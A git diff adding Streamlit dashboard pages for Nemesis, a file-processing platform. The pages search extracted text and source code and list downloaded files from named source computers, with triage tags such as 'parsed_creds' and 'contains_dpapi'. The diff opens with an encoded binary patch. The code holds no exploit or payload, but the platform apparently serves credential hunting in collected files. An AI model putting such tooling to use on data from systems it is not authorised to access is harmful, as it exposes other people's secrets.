zy6$tF@(dm%(53QdWsGu&jy}{w_-G%&+7DZIOdGS0_K@5WURsgei}U8agzJ6d`m#q% zRY>^Pgl=W*A9_{=GVn)9K~M}tp-zSN*2RKkk;hMN4UpQMpM;O7(uqO$V~Ng>8cQb2 zI`L^+;|tmVxTEIzj9h0(v`fd+UZviZD35#+2W zGc(hyKe{Q9X&g`)y8HamAX<#1Zug6G!P^S0rkcmQ>sm!Sl&H)3^PV8a_|5?o+?Ntx zPkW|^hIePmEf=dT?pdGzSTM#+;ihb*Uxd(4Ud1 zoDzOM$5;I^zv`OrcAjE7{Me-!?Qf3TcVdh5m-yBlv&q8At4l%#xO<`Op`K7(D{bU$ z)6?>_2W!hCJVF#bTjd-0h><1B-sVRjOgW3{R7euY87b% zOa!6Nep8BkqbAQDlKm;8MwHu;3O5cevM5xekR$Cp0Cp06tX*Ik!oIuXhJ zK2bht44sH5Iyq-&)ll26*10Kv&u?S}Ea-{eQsxWnw^pH*qWhX5)it_FLQeku_az?7 zkzt{=#s>|v_t1Ck;Bj4g3WZi%_tdF(O`=xk(;5Nf^!?{FE9AiZ? zjZ!FTedbAx>shGu{h~qRvykCzBaFW7h`4V82glboQ_OZFrkVT?Z9f;6gyA(nC<%gT6J0$T?f66;o8%MMRI5&0`mun z?1ykj>Gp`Go!F*WJ-uE&!I|!^mn+2>8Cj-B=hiPMN(pf<7l&bew5z*2`-@mxMx_mi z^pH)PkFN7iu_VO0tfm!l;={=is#F|5IB40h;nXh>#&qt`7#QR`Y}eTK=tXt9-g))z z`Inv_5K%B;L3bb$;4wtfuKrC=C_xRkLS%WM>d|G#N{UUCRu|E;s{B_MW*yI7(T51= zuN4_oy$M88J3W);efjZuSKyC&?g?S%X^ybF%m!%AM~zf84oH3D@x@U~sOp^Ulrm{!Xaa^35XnbWvB z##|F+nXZ}^JQlC|6xYEqB4&fPf}?<%mnlTC0)D{i+vl3a*O`_1@RPB_|R`9?+VM? ztSN5rY~{mSIshz>nZ)q?lv%qd&^@Jo-(%s-B#Tpr6`^A(OL!$Juz&kn6y%ud>0`c9 z>PSWBa2YpuQJxreUiJP{HBEVUdjBcnDg{E1DgdE_21Z)glWaAg9!G1S3!GF6@V%_# znv_2f4rsN94S5>@*A+}%pk-$LFVD*feiIg!NO_L6z84CW8*xB z@yyhbLFIv7NkhDL&jOHzNoObpW7E4VL8lezqcs$hZj6noYrOQGkHbPcf5M5aNa63J z-P7x~ElcqlIFV7lofiu_zD9O#mk|n zMQ@J)`DTaaF95i#^*g>-(%srBk!UI_7($nsP3Zm(pzAOwacN~W>*LXT+S%wxm7lT5 z>CndJTKr#C%m@ji|2F-Pa@xNhG;YvekfzlK*RjLaZWe`@B1&p1J^)bY6HvrLlz~N* zpraz}CVAn=gWeRDm^WAiU_h^VV0fa%aE#wC3pP7H3Bhhky0KZOa^IlLywP)fwwpzk z8Ke1IBdO3>mb7G!RE9CnO{%MbVRLXtxH1eUnd8Fq197vzEbhTkRBN#c6BuoLKn<9t}zxo z8_ZAbd;gGIf+q61bmx}U$Ggeln#Lz2-G!PMEZ+TK|KhTjG1%{~VA1w;_nJSH+1`uBZ|HgHfm+ zR{t9Jt0^kvENqiw(s+>F5s*iF)Qpt)7MmxCX7P#Y*#%78LEdWaB*B3OPx}FEyNJ3Rogmels9G`EZW3v=9)L!cnnR8j zZ7;$z^2V^B=!jk(yzb7?xQ5q-H&vmdo`|zCq$4)@+*W%m?;qB}H_ zZ-FN}3vzAgp!1Ijd|hmYg8iBWo+-uIrfB0bt=?4NOp)O-_$Bget%`%blu&V|nmGsEi@ab8P}XGjg=)me@v zORHJzxcf9U7f{Y^b22EC3_PPtvs=J(a$R5WT=r}HqbvB|v4p^s|9nUiMnc6)osuJ5 z%rkcz$G#>uEUtl;r`LR9ag*GCwV=ZJB|izPiDyWyRX5Ps2v^;&uWpa@@{rl+Dyso^FDo9xJSd01KCou=DWkMrxtP))Bu+ucduWDOb3u`Z-^Jm zC6vg2G~%>kxPUSW46S@||0n}4YV7~Lm^7{tPMKGd!ksUauYN#JM??xJ2quq}O@Cu@ z4+YCl(EY_?gs;uyP%xQz;U3t4aIDc!ySfUgg5T>bLmDID$$a})#YSWvy5{5UCPx;P z_Sd;S7as55Egq?kVIwvI{e9%R=x~Q%NuxGw+EiEmOP8+tb8Lu{l?{z-Q-bnOBDVz! zzmkS^gR3wHVE|W6j5&5zxj_<1&-!`yvetvszOZr0sjV$8h*wnXeRCxQ0)+vmMbZ3ktQR(<&u5e= zoLqf{7fH_UODk3Ni85qM+>c0iB@S(8gWv5;@?=D1c0^;8LtKFueBicr@F@V3Ng2OIIMRzcE}kn3R)Y3vAQVbU(dp z4c>qv4YLcaNCT3^O<&&p~G{P!*nKV;fBK+f0{Wa+>h_0ziFKNjtUd1 zuDYhwAv@=JJQm%YA;sZxYQ-HY2j|6-W2~k56AGs{f1d`}!ve15UOBGlojVz1%WC~% zXmFT+FCVfH3m6XwHUB{SgO69C8EP>sp0RDsSLicRSNaTVs&V7!7p-(V+4?-(HF-IN z<~iADE(+D^r_V`!TN(gJHAj)ymEtKU@NBN8K`p2pR?^H#?ah6I5pzhv?@=sgwsFd` z-ZVz&A*2DBU*gGL>838X)Z*}oWlB|bCK`Yuqm2U1!p#D1;k8h)#S@Ocp zB+FP+q`9Y33?hRk?)bSBxQvooIeC|1=_D@ocz`R`Saq5wtn{zbECS|eP?SupzKi10 ztbcU^ZBLQgPR_%7zlYj=293@g^Wy5P_aN?9&~9BT+dL%XkNUk1t3*%ToVPeuM_l~6 zWzl;XT?}DK+h?8nIB51Utr>D)8}>DSzUoNQgJ8`01Ul|i;@nvMO+Cax+TZ2Jpwwc! zUOxSDP4bH9_ZbsZxG^2w=VyQ_ulgmoxHbns=GVw5!2uQjo3?@SzqdCags2KXen&k2 zDYA&D+DC|3vqgbJPAx#!bJfV1=4$$&B*z z$JKa_mqLhAT4 z(@)bh(PYYv6(q-6AxrXH##d2jxJAdeJS5X zweY$v>GNa>#y6sy*mv6b3uj&{C*K~cFN=r0($1CbMGNEI zRgnYxEpYG_j;N_8?0vTI@xZZ<$O+;yWybeO2G~A&hdcIsNL4}5TyaT@5Nxt=KDwmrnQfDeBUjL>w!b_aVQ@1QP?9#8c1V~U7sRj(=33w0V;~iDr8U)V zh9q8%7+hJ__GKRCErdtIcV=x0CKlT<_qIiDTu!e}$!ahTd1Ls(6?M`B&h|rEMrAZR zel60q8{~6M6i*zyD4hWL+H`eeaXm{N*HUpyD77CnfB&`GN?mMFMJ<#9!3@@^n-)gw zeIzcp`z*+Y^_UrNuiv>>_c&rJbyz8!<)J&l>;MbFc9Oe{EeB zhDhd&S9MD*VSAqRDSXp@Jzy@$qUT{NEphbjZK~w5dNsg~1E=&OY#-kH+GGO8C(DBs z+CQTy^^?&Oqfj9elsAqvwoE$KeLY&?+dQy)<3NJ;42r1o@c;4^jRFk)hQT~>_b(mq z4@q2K``9(H&!dO$R*k6Dj^UD9g3jWUOw|R!|2VIw~|oeO(%#E;?XP zw%w^~XI3xXBa3>L(|}kK$#yELdamDlBe+uuf;*`5RA4EsanyN!ITJXnp^^#$;W0G^n1GR*H+c9Ly8sl7-GZjY--8& z+Kq{`%Kq+XZz5wWa=hX+4189W;d0c`^Sa{+HZ%4O#VxGT}^-f}RC-D0#j0K=5 zp#^F&BZ7|m56$7HlK>iBv+sBv5+=M@Y?SJu*TRldZL8VpXG*Sx!hWkX^f0Ehpr3L= zop0#Tfv03nO|1U9PeG|dt0I{=ify2;OhXkxnW65#=Tm4fQ&VHdnJ<`WFKgBSd=@*6l*ui+ulyu@2n!nJCCk0)d&6^VQ8LGA?2G|O?qB@ zh{~D}*&)aGwelO~UipA;%H(1$ z)LjceK!tYql+tTdMlRBzMus&R3un=v4`I}vXCiXOZ3ezv6G(p#>Hw5TK-PY^3g{!i z{BD>a0-3FV4g4XIwGEC~9;yt&&bw1?cQd{mOj6^NIOoj+<+CcoMR=gj|(C^V9RH7vZgEO+zy#r~_c z`@)A7AZNpnP`Oh9vUlMR^Z~SXX)?IKI~70hPX^Ym4s2fyhkmD6d~hp;)Mq26teIM% zW3Vg9rZI2pCfwMfy2yc3Ic2AFg-~|}^rNU}E0e4u(C6>)jUZv3NI*jbj+STZ{|Ao7 zzk+VW=c3Pc;){gDZ*)GRQhIWoZiWsO`x$>ZpeA~_F8kvIFGlCO%6^bZ_5RlCm)hkp zUyTfe=MJom?qu>?JN2U-qhe3r^l*ZX`0a zVh+_KWuwIW-qIWL-RK2*DvQ|)c#mCw;@Gb8*aB~S$^#wtPs?nrANg{=qK2o_#1XR~=p@QA3i^>-)@A&`n6ns_SwoP45ptK1>> zi~f&@%1No84D^VePQ^ccmA~+zSb<{pce&j)LYWLck=gfULapSaI+dA4m_Lt)mp^uz zwASFe1KPvOOEyu?eL@$WA&7G$)!#ux3hDWqCvvZH(E#)ona(cEWv(TE@KaYkUq@Ss zUWQ-@){97D1sHNN2K=^b!c-~u&$fQ;r9j*)+|FSNN zbi)30%Ot(c%zRnh=O70_mrqdJi1knHPf>azSI|wF)+V0r4f9XBN5;;kuqxC!!~71* z8y7_3fa8=8!)vr^96+TOdmvs@jvow0x}yX&xS zoptFn=sE?nMm8uN1%H`gql#EqaNk&c8C9}g%%871%e(PUef7Uu|5ggoK)RQC%!rCn zlU;$_!A_y2DhK5nvhA;s`@exwU9b1~oT;wPc1=4xW~DU$3595$+A~a~=RNDrXGQ_X zy>(Uq`{g>dbW&X;7%`d_S2!0I1T*L*dQyuZ=?z+FYfQCD64W zM+vCZg6K+H%HDe0daT9VlhN9kIw`FX;LBQ|z&r;J4k(_^ubty8M06HRi zGy{6N#KEP*)zZMvgeSJ0H{RHt* Mlv4v#$e0EFAN)FOMF0Q* literal 0 HcmV?d00001 diff --git a/cmd/dashboard/dashboard/pages/1_Document Search.py b/cmd/dashboard/dashboard/pages/1_Document Search.py new file mode 100644 index 0000000..b408da6 --- /dev/null +++ b/cmd/dashboard/dashboard/pages/1_Document Search.py @@ -0,0 +1,200 @@ +# Standard Libraries +import os +import urllib.parse + +# 3rd Party Libraries +import extra_streamlit_components as stx +import streamlit as st +import templates +import utils + +utils.header() + +PAGE_SIZE = int(os.environ["PAGE_SIZE"]) + +if st.session_state["authentication_status"]: + with st.expander("About Document Search"): + st.markdown( + """ + This page searches the extracted plaintext from every convertible document + ingested into Nemesis as well as any downloaded source code. + + Text is extracted with Apache Tika and indexed into Elasticsearch. + + Semantic search is powered by searching pre-computed dense vector embeddings, + vectoring the input query and returning document chunks that are the semantically + closest to the input. + """ + ) + + # default values + if "text_search" not in st.session_state: + st.session_state.text_search = None + if "text_page" not in st.session_state: + st.session_state.text_page = 1 + + # get parameters in url + para = st.experimental_get_query_params() + if "text_search" in para: + st.experimental_set_query_params() + st.session_state.text_search = urllib.parse.unquote(para["text_search"][0]) + if "text_page" in para: + st.experimental_set_query_params() + st.session_state.text_page = int(para["text_page"][0]) + + chosen_tab = stx.tab_bar( + data=[ + stx.TabBarItemData( + id="text_search", title="Text Search", description="Search text extracted from downloaded files" + ), + stx.TabBarItemData( + id="source_code_search", title="Source Code Search", description="Search downloaded source code files" + ), + stx.TabBarItemData( + id="semantic_search", title="Semantic Search", description="Semantic search over extracted text" + ), + ], + default="text_search", + ) + + if chosen_tab == "text_search": + if st.session_state.text_search is None: + search_term = st.text_input("Enter search term(s):") + else: + search_term = st.text_input("Enter search term(s):", st.session_state.text_search) + + if search_term != "": + st.session_state.text_search = search_term + from_i = (st.session_state.text_page - 1) * PAGE_SIZE + results = utils.elastic_text_search(search_term, from_i, PAGE_SIZE) + if results != {}: + total_hits = results["hits"]["total"]["value"] + num_results = len(results["hits"]["hits"]) + + if total_hits > 0: + st.write(templates.number_of_results(total_hits, results["took"] / 1000), unsafe_allow_html=True) + + for i in range(num_results): + res = utils.simplify_es_text_result(results["hits"]["hits"][i]) + originatingObjectPath = res["originatingObjectPath"] + originatingObjectId = res["originatingObjectId"] + originatingObjectURL = res["originatingObjectURL"] + if "originatingObjectConvertedPdfUrl" in res: + originatingObjectConvertedPdfUrl = res["originatingObjectConvertedPdfUrl"] + pdf_url = f"{originatingObjectConvertedPdfUrl}&action=view" + else: + pdf_url = "" + + highlights = res["highlights"] + source = "" + if "metadata" in res and "source" in res["metadata"]: + source = res["metadata"]["source"] + if "wordCount" in res: + length = res["wordCount"] + else: + length = "-1" + + (header, highlights, footer) = templates.text_search_result( + i=i, + url=originatingObjectURL, + pdf_url=pdf_url, + source=source, + path=originatingObjectPath, + highlights=highlights, + length=length, + originating_object_id=originatingObjectId, + ) + st.write(header, unsafe_allow_html=True) + st.markdown(highlights) + st.write(footer, unsafe_allow_html=True) + + # pagination + if total_hits > PAGE_SIZE: + total_pages = (total_hits + PAGE_SIZE - 1) // PAGE_SIZE + pagination_html = templates.text_pagination(total_pages, search_term, st.session_state.text_page) + st.write(pagination_html, unsafe_allow_html=True) + else: + st.write(templates.no_result_html(), unsafe_allow_html=True) + + elif chosen_tab == "source_code_search": + if st.session_state.text_search is None: + search_term = st.text_input("Enter search term(s):") + else: + search_term = st.text_input("Enter search term(s):", st.session_state.text_search) + + if search_term != "": + st.session_state.text_search = search_term + from_i = (st.session_state.text_page - 1) * PAGE_SIZE + results = utils.elastic_sourcecode_search(search_term, from_i, PAGE_SIZE) + if results != {}: + total_hits = results["hits"]["total"]["value"] + num_results = len(results["hits"]["hits"]) + + if total_hits > 0: + st.write(templates.number_of_results(total_hits, results["took"] / 1000), unsafe_allow_html=True) + + for i in range(num_results): + res = utils.simplify_es_text_result(results["hits"]["hits"][i]) + path = res["path"] + download_url = res["downloadURL"] + elastic_url = res["fileObjectURL"] + # extension = res["extension"] + language = res["language"] + name = res["name"] + path = res["path"] + size = res["size"] + highlights = res["highlights"] + source = "" + if "metadata" in res and "source" in res["metadata"]: + source = res["metadata"]["source"] + + (header, highlights, footer) = templates.sourcecode_search_result( + i=i, + elastic_url=elastic_url, + download_url=download_url, + source=source, + path=path, + name=name, + language=language, + highlights=highlights, + size=size, + ) + st.write(header, unsafe_allow_html=True) + st.code(highlights, language=language.lower()) + st.write(footer, unsafe_allow_html=True) + + # pagination + if total_hits > PAGE_SIZE: + total_pages = (total_hits + PAGE_SIZE - 1) // PAGE_SIZE + pagination_html = templates.text_pagination(total_pages, search_term, st.session_state.text_page) + st.write(pagination_html, unsafe_allow_html=True) + else: + st.write(templates.no_result_html(), unsafe_allow_html=True) + + elif chosen_tab == "semantic_search": + cols = st.columns(2) + with cols[1]: + num_results = st.slider("Select the number of results to return", min_value=0, max_value=10, value=4, step=1) + + if st.session_state.text_search is None: + search_term = st.text_input("Enter search term(s):") + else: + search_term = st.text_input("Enter search term(s):", st.session_state.text_search) + + if search_term != "": + st.session_state.text_search = search_term + + try: + json_results = utils.semantic_search(search_term, num_results) + if not json_results or "results" not in json_results: + st.warning("No results retrieved from semantic search, service might be busy") + else: + for result in json_results["results"]: + (header, text, footer) = templates.semantic_search_result(result) + st.write(header, unsafe_allow_html=True) + st.write(text, unsafe_allow_html=False) + st.write(footer, unsafe_allow_html=True) + # st.divider() + except Exception as e: + st.error(f"Exception: {e}") + diff --git a/cmd/dashboard/dashboard/pages/2_Files.py b/cmd/dashboard/dashboard/pages/2_Files.py new file mode 100644 index 0000000..b48bc86 --- /dev/null +++ b/cmd/dashboard/dashboard/pages/2_Files.py @@ -0,0 +1,589 @@ +# Standard Libraries +import datetime +import os +import re +import ntpath +import urllib.parse +from typing import List + +# 3rd Party Libraries +import extra_streamlit_components as stx +import streamlit as st +import templates +import utils +from streamlit_cookies_manager import CookieManager +from streamlit_elements import dashboard, elements, html, lazy, mui, sync +from streamlit_searchbox import st_searchbox +from streamlit_toggle import st_toggle_switch + +POSTGRES_CONNECTION_URI = os.environ.get("POSTGRES_CONNECTION_URI") or "" +DB_ITERATION_SIZE = os.environ.get("DB_ITERATION_SIZE") or "1000" +NEMESIS_HTTP_SERVER = os.environ.get("NEMESIS_HTTP_SERVER") +PAGE_SIZE = 8 + + +global sources, projects +sources = [] +projects = [] + +current_user = utils.header() + +# should be defined in ./packages/python/nemesiscommon/nemesiscommon/contents.py - E_TAG_* +filter_tags = [ + "contains_dpapi", + "noseyparker_results", + "parsed_creds", + "encrypted", + "deserialization", + "cmd_execution", + "remoting", + "yara_matches", + "file_canary", +] + + +def search_sources(search_term: str) -> List[str]: + global sources + return list(filter(lambda v: re.match(f".*{re.escape(search_term)}.*", v, re.IGNORECASE), sources)) + + +def search_projects(search_term: str) -> List[str]: + global projects + return list(filter(lambda v: re.match(f".*{re.escape(search_term)}.*", v, re.IGNORECASE), projects)) + + +if st.session_state["authentication_status"]: + cookies = CookieManager() + if not cookies.ready(): + st.stop() + + triage_pattern = re.compile(r"^triage_(?P[0-9a-f]{8}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{12})_(?P.*)") + notes_pattern = re.compile(r"^file_notes_(?P[0-9a-f]{8}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{12})$") + + for state in st.session_state: + triage_matches = triage_pattern.search(state) + if triage_matches: + db_id = triage_matches.group("db_id").replace("_", "-") + triage_value = triage_matches.group("triage_value") + utils.update_triage_table(db_id, "file_data_enriched", current_user, triage_value) + del st.session_state[state] + else: + notes_matches = notes_pattern.search(state) + if notes_matches: + db_id = notes_matches.group("db_id").replace("_", "-") + utils.update_notes_table(db_id, "file_data_enriched", current_user, st.session_state[state].target.value) + del st.session_state[state] + + utils.local_css("./css/files_style.css") + + set_search_params = {} + para = st.experimental_get_query_params() + + for key in para.keys(): + match key: + case "file_download_page": + st.session_state.file_download_page = int(para["file_download_page"][0]) + case "file_show_triaged": + st.session_state.file_show_triaged = bool(para["file_show_triaged"][0]) + set_search_params["file_show_triaged"] = st.session_state.file_show_triaged + case "file_show_archive_originated": + st.session_state.file_show_archive_originated = bool(para["file_show_archive_originated"][0]) + set_search_params["file_show_archive_originated"] = st.session_state.file_show_archive_originated + case "file_path_pattern": + st.session_state.file_path_pattern = para["file_path_pattern"][0] + set_search_params["file_path_pattern"] = st.session_state.file_path_pattern + case "file_notes_pattern": + st.session_state.file_notes_pattern = para["file_notes_pattern"][0] + set_search_params["file_notes_pattern"] = st.session_state.file_notes_pattern + case "file_source_selection": + st.session_state.file_source_selection = para["file_source_selection"][0] + set_search_params["file_source_selection"] = st.session_state.file_source_selection + case "file_project_selection": + st.session_state.file_project_selection = para["file_project_selection"][0] + set_search_params["file_project_selection"] = st.session_state.file_project_selection + case "file_filter_tags": + st.session_state.file_filter_tags = para["file_filter_tags"][0].split(",") + set_search_params["file_filter_tags"] = st.session_state.file_filter_tags + case "file_hash": + st.session_state.file_hash = para["file_hash"][0] + set_search_params["file_hash"] = st.session_state.file_hash + case "file_order_desc_timestamp": + st.session_state.order_desc_timestamp = para["file_order_desc_timestamp"][0] + set_search_params["file_order_desc_timestamp"] = st.session_state.order_desc_timestamp + + if "file_download_page" not in st.session_state: + st.session_state.file_download_page = None + if "file_show_triaged" not in st.session_state: + st.session_state.file_show_triaged = False + if "file_show_archive_originated" not in st.session_state: + st.session_state.file_show_archive_originated = False + if "file_path_pattern" not in st.session_state: + st.session_state.file_path_pattern = "" + if "file_notes_pattern" not in st.session_state: + st.session_state.file_notes_pattern = "" + if "file_source_selection" not in st.session_state: + st.session_state.file_source_selection = "" + if "file_project_selection" not in st.session_state: + st.session_state.file_project_selection = "" + if "file_filter_tags" not in st.session_state: + st.session_state.file_filter_tags = [] + if "file_hash" not in st.session_state: + st.session_state.file_hash = "" + if "file_order_desc_timestamp" not in st.session_state: + st.session_state.file_order_desc_timestamp = False + + # TODO: start/end times + + with st.expander("About Files"): + st.markdown( + """ + This page shows downloaded files processed by Nemesis, searchable by a + variety of filters. + + The `Upload File` tab allows you to upload one or more files to Nemesis + for processing (currently not functioning). + """ + ) + + chosen_tab = stx.tab_bar( + data=[ + stx.TabBarItemData(id="downloaded_files", title="Downloaded Files", description="Downloaded Files Processed by Nemesis"), + stx.TabBarItemData(id="upload_file", title="Upload File", description="Manually Upload a File to Nemesis for Processing"), + ], + default="downloaded_files", + ) + + if chosen_tab == "downloaded_files": + if not st.session_state.file_download_page: + st.session_state.file_download_page = 1 + + # get all of the unique source names + sources = utils.get_unique_sources("file_data_enriched") + projects = utils.get_unique_projects("file_data_enriched") + selected_tags = [] + source_selection = "%" + project_selection = "%" + file_hash = "" + path_pattern = "" + notes_pattern = "" + show_triaged = False + start_date = None + start_time = None + end_date = None + end_time = None + order_desc_timestamp = False + + if not sources or len(sources) == 0: + st.error("No downloaded file data in the database") + else: + with st.expander("Search Filters"): + col1, col2 = st.columns(2) + with col1: + path_pattern = st.text_input( + "The file path to search for, wildcards (*) supported, case insensitive", + placeholder="pdf, *pass*, *users*.exe, *.doc", + value=st.session_state.file_path_pattern + ) + if path_pattern: + # Add wildcards if there aren't any + if "*" not in path_pattern and "%" not in path_pattern: + path_pattern = f"*{path_pattern}*" + path_pattern = path_pattern.replace("*", "%") + st.session_state.file_path_pattern = path_pattern + set_search_params["file_path_pattern"] = path_pattern + with col2: + notes_pattern = st.text_input( + "Notes value to search for", + value=st.session_state.file_notes_pattern + ) + st.session_state.file_notes_pattern = notes_pattern + set_search_params["file_notes_pattern"] = notes_pattern + col1, col2 = st.columns(2) + with col1: + source_selection = st_searchbox( + search_sources, + label="Enter a source/computer name to search for:", + placeholder="Begin typing name to search...", + key="file_searchbox_sources", + value=st.session_state.file_source_selection + ) + st.session_state.file_source_selection = source_selection + set_search_params["file_source_selection"] = source_selection + with col2: + project_selection = st_searchbox( + search_projects, + label="Enter a project name to filter for:", + placeholder="Type to search...", + key="file_searchbox_projects", + value=st.session_state.file_project_selection + ) + st.session_state.file_project_selection = project_selection + set_search_params["file_project_selection"] = project_selection + + col1, col2 = st.columns(2) + with col1: + selected_tags = st.multiselect( + label="Select a tag to filter for", + options=filter_tags, + default=st.session_state.file_filter_tags) + st.session_state.file_filter_tags = selected_tags + set_search_params["file_filter_tags"] = ",".join(selected_tags) + with col2: + file_hash = st.text_input( + "The hash of a file to search for (optional)", + placeholder="MD5/SHA1/SHA256 hash value", + value=st.session_state.file_hash) + st.session_state.file_hash = file_hash + set_search_params["file_hash"] = file_hash + + col1, col2, col3 = st.columns(3) + with col1: + subcol1, subcol2 = st.columns(2) + with subcol1: + start_date = st.date_input("Filter date (UTC) start", datetime.datetime.now() - datetime.timedelta(days=7)) + with subcol2: + start_time = st.time_input("Filter time (UTC) start", datetime.time(0, 0)) + with col2: + subcol1, subcol2 = st.columns(2) + with subcol1: + end_date = st.date_input("Filter end date (UTC)", datetime.datetime.now()) + with subcol2: + end_time = st.time_input("Filter end time (UTC)", datetime.datetime.now()) + with col3: + show_triaged = st_toggle_switch( + label="Show aready triaged files", + key="show_triaged_files", + default_value=st.session_state.file_show_triaged, + label_after=False, + ) + st.session_state.file_show_triaged = show_triaged + set_search_params["file_show_triaged"] = show_triaged + + show_archive_originated = st_toggle_switch( + label="Show files extracted from archives", + key="show_archive_originated", + default_value=st.session_state.file_show_archive_originated, + label_after=False, + ) + st.session_state.file_show_archive_originated = show_archive_originated + set_search_params["file_show_archive_originated"] = show_archive_originated + + order_desc_timestamp = st_toggle_switch( + label="Show newest files first", + key="order_desc_timestamp", + default_value=st.session_state.file_order_desc_timestamp, + label_after=False, + ) + st.session_state.file_order_desc_timestamp = order_desc_timestamp + set_search_params["file_order_desc_timestamp"] = order_desc_timestamp + + # combing our start/end date/times + start_datetime = datetime.datetime.combine(start_date, start_time) + end_datetime = datetime.datetime.combine(end_date, end_time) + + # calculate the interval start for pagination + from_i = (st.session_state.file_download_page - 1) * PAGE_SIZE + + if not source_selection: + source_selection = "%" + if not project_selection: + project_selection = "%" + + # get the result count and dataframe for our search through postgres + (total_hits, df) = utils.postgres_file_search( + start=start_datetime, + end=end_datetime, + from_i=from_i, + size=PAGE_SIZE, + source=source_selection, + project_id=project_selection, + file_hash=file_hash, + path_pattern=path_pattern, + notes_pattern=notes_pattern, + tags=selected_tags, + show_triaged=show_triaged, + show_archive_originated=show_archive_originated, + order_desc_timestamp=order_desc_timestamp, + ) + + # number of results returned for this search + num_results = len(df) + + # total_hits is the _total_ number of (non-paginated) results + st.write(templates.number_of_results(total_hits), unsafe_allow_html=True) + + # pagination, if needed + if total_hits > PAGE_SIZE: + total_pages = (total_hits + PAGE_SIZE - 1) // PAGE_SIZE + pagination_html = templates.file_pagination(total_pages, st.session_state.file_download_page, search_params=set_search_params) + st.write(pagination_html, unsafe_allow_html=True) + + if num_results > 0: + layout = [ + # Grid layout parameters: element_identifier, x_pos, y_pos, width, height, [item properties...] + dashboard.Item("1", 0, 0, 10, 2.5, isDraggable=False, isResizable=False, sx={"height": "100%"}), + dashboard.Item("2", 0, 0, 10, 2.5, isDraggable=False, isResizable=False), + dashboard.Item("3", 0, 0, 10, 2.5, isDraggable=False, isResizable=False), + dashboard.Item("4", 0, 0, 10, 2.5, isDraggable=False, isResizable=False), + dashboard.Item("5", 0, 0, 10, 2.5, isDraggable=False, isResizable=False), + dashboard.Item("6", 0, 0, 10, 2.5, isDraggable=False, isResizable=False), + dashboard.Item("7", 0, 0, 10, 2.5, isDraggable=False, isResizable=False), + dashboard.Item("8", 0, 0, 10, 2.5, isDraggable=False, isResizable=False), + ] + + card_id_db_id_mapping = {} + + with elements("dashboard"): + with dashboard.Grid(layout=layout): + for index, file in df.iterrows(): + object_id = file["object_id"] + + # replace - with _ since streamlit doesn't support -'s in session state + unique_db_id = file["unique_db_id"].replace("-", "_") + + kibana_link = f"{NEMESIS_HTTP_SERVER}/kibana/app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{object_id}')))),index:'26360ae8-a518-4dac-b499-ef682d3f6bac')&_g=(time:(from:now-1y%2Fd,to:now))" + + url_enc_file_name = urllib.parse.quote(file["name"]) + + base_file_url = f"{NEMESIS_HTTP_SERVER}/api/download/{object_id}?name={url_enc_file_name}" + download_url = f"{base_file_url}&action=download" + view_download_url = f"{base_file_url}&action=view" + pdf_download_url = "" + extracted_source_download_url = "" + + # if we don't have default values, built the appropriate download URIs + if file["converted_pdf_id"] != "00000000-0000-0000-0000-000000000000": + pdf_download_url = f"{NEMESIS_HTTP_SERVER}/api/download/{file['converted_pdf_id']}?name={url_enc_file_name}.pdf&action=view" + if file["extracted_source_id"] != "00000000-0000-0000-0000-000000000000": + extracted_source_download_url = f"{NEMESIS_HTTP_SERVER}/api/download/{file['extracted_source_id']}?name={url_enc_file_name}.zip&action=download" + + # If the file is a PDF, set the PDF URL + if file["name"].endswith(".pdf"): + pdf_download_url = view_download_url + + with mui.Card( + key=f"{1*index+1}", + sx={ + "display": "flex", + "flexDirection": "column", + "borderRadius": 2, + "overflow": "auto", + "overflowY": "auto", + "m": "10", + "gap": "10px", + }, + padding=1, + elevation=1, + spacing=10, + ): + with mui.AppBar(position="sticky", variant="h7", sx={"minHeight": 32}): + with mui.Toolbar(variant="dense", sx={"minHeight": 48, "height": 48}): + mui.Typography(file["name"]) + with mui.Tooltip(title="Download the file"): + with html.span: + mui.IconButton(mui.icon.Download, href=base_file_url) + with mui.Tooltip(title="View the file in Kibana"): + with html.span: + mui.IconButton(mui.icon.Search, href=kibana_link, target="_blank") + with mui.Tooltip(title="View the file in browser"): + with html.span: + mui.IconButton(mui.icon.TextSnippet, href=view_download_url, target="_blank") + if pdf_download_url: + with mui.Tooltip(title="View the file as PDF"): + with html.span: + mui.IconButton(mui.icon.PictureAsPdf, href=pdf_download_url, target="_blank") + if extracted_source_download_url: + with mui.Tooltip(title="View the extracted source code"): + with html.span: + mui.IconButton(mui.icon.Code, href=extracted_source_download_url, target="_blank") + + mui.Box(sx={"flexGrow": 1}) + + with mui.Tooltip(title="Mark file as useful"): + with html.span: + mui.IconButton(mui.icon.ThumbUpOffAlt, onClick=sync(f"triage_{unique_db_id}_useful")) + with mui.Tooltip(title="Mark file as not useful"): + with html.span: + mui.IconButton(mui.icon.ThumbDownOffAlt, onClick=sync(f"triage_{unique_db_id}_notuseful")) + with mui.Tooltip(title="Mark file as needing additional investigation"): + with html.span: + mui.IconButton(mui.icon.QuestionMark, onClick=sync(f"triage_{unique_db_id}_unknown")) + if file["triage"]: + with html.span: + mui.Typography("triage") + + # Information table + with mui.CardContent(sx={"flex": 1}): + with mui.TableContainer(sx={"maxHeight": 200}): + with mui.Table(size="small", overflowX="hidden", whiteSpace="nowrap"): + with mui.TableBody(): + identifier_style = { + "fontWeight": "bold", + "borderRight": "1px solid", + "whiteSpace": "nowrap", + "padding": "0px 5px 0px 0px", + } + + with mui.TableRow(hover=True, padding="none"): + mui.TableCell("Path", size="small", sx=identifier_style) + mui.TableCell(file["path"], width="100%") + with mui.TableRow(hover=True, padding="none"): + mui.TableCell("Source / Timestamp", size="small", sx=identifier_style) + mui.TableCell(f"{file['source']} @ {file['timestamp']}", size="small") + with mui.TableRow(hover=True, padding="none"): + mui.TableCell("Nemesis Filetype", sx=identifier_style) + mui.TableCell(file["nemesis_file_type"]) + with mui.TableRow(hover=True, padding="none"): + mui.TableCell("Magic Type", sx=identifier_style) + mui.TableCell(file["magic_type"]) + if file["tags"]: + with mui.TableRow(hover=True, padding="none"): + mui.TableCell("Tags", sx=identifier_style) + with mui.TableCell(): + # Tags + for tag in file["tags"]: + mui.Chip(label=tag, color="primary") + # Notes + mui.Typography("Comments:") + with mui.Box(sx={"flexGrow": 1}): + end = mui.IconButton(mui.icon.Save, onClick=sync()) + + mui.TextField( + # label="Input Any Notes Here", + key=f"file_notes_{unique_db_id}", + defaultValue=file["notes"], + variant="outlined", + margin="none", + multiline=True, + 